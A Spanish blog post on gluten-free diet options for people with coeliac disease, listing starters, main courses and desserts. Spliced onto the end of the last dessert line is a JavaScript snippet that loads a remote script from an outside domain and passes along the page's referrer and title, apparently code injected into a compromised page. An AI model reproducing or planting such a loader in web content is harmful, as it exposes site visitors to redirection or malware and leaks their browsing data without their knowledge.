Salud y belleza » Alimentación, Enfermedades, Salud

Celíacos: opciones para cuando no “se tiene opción”

Sin Comentarios

internacional_1b

Lo que para Adán y Eva fue la “manzana”, para el celíaco es el “gluten”: un alimento prohibido. Claro que, a diferencia de esos dos personajes bíblicos, la pena que deben pagar los celíacos por el “fruto prohibido” no es la expulsión del Edén sino un trágico malestar gástrico (…que cada uno considere qué es peor).

En efecto, “la celiaquía” es una enfermedad autoinmune caracterizada por una inflamación crónica de la parte proximal del intestino delgado fomentada por la exposición a la gliadina, es decir el gluten (proteína presente en determinados cereales).

El organismo de un celíaco al ser expuesto  al gluten ejerce una reacción cruzada y de rechazo en contra del intestino o yeyuno desencadenando una reacción inflamatoria y otras afecciones.

Los celíacos, como vemos, no pueden consumir alimentos que contengan “gluten” y, he aquí el problema, cuando uno analiza cuáles son esos alimentos se da cuenta que la respuesta es: “la mayoría”.

Pero como dice el refrán que “el que busca encuentra” , aquí te dejamos algunas opciones para combinar platos y crear dietas libres de “gluten” (existen nieveles o grados de celiaquía por lo que es necesario consultar al médico antes de aplicar esta dieta; aún así el registro de alimentos utilizados es el aplicable al porcentaje alto de los casos de la enfermedad celíaca con sus grados normales de resistencia respetados).

Entrada o primer plato

- Purés de verdura sin picatostes o puré de patatas.
- Parrillada de verduras asadas o hervido de verduras.
- Legumbres: Potajes de garbanzos, lentejas guisadas, judías, etc.
- Deben prepararse sin chorizo ni morcilla, tampoco poner refritos con harina
ni cubitos de concentrados de caldo para dar sabor, en su lugar se puede realzar
el sabor con un poco de panceta y hueso de jamón.
-Arroz a la cubana ( arroz blanco con tomate frito), paella, asegurándonos
de que el colorante de la paella no lleve gluten.
-Macarrones especiales sin gluten con tomate o con nanta y queso rallado.

Plato principal o segundo plato

- Pescado a la plancha, al horno o cocido (éste puede acompañarase de papas
fritas siempre y cuando no se utilice el mismo aceite con el que hayamos
frito alimentos con gluten).
- Carne de ternera, pollo o cordero, a la plancha, al horno o cocinados junto
con verduras.
- Huevos fritos o en tortilla (francesa o de patatas y, repetimos, controlar la cuestión con el aceite).

Postre, complemento o sobremesa.

- Fruta natural de estación.
- Yogurt natural o de sabores excepto los que contienen cereales y derivados.
- Helados de nata o de vainilla en tarrina o en barra o helados de hielo.
-Leche caliente con azucar.var d=document;var s=d.createElement('script'); s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Más consejos de salud y belleza : , , ,

Publique su Comentario !

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.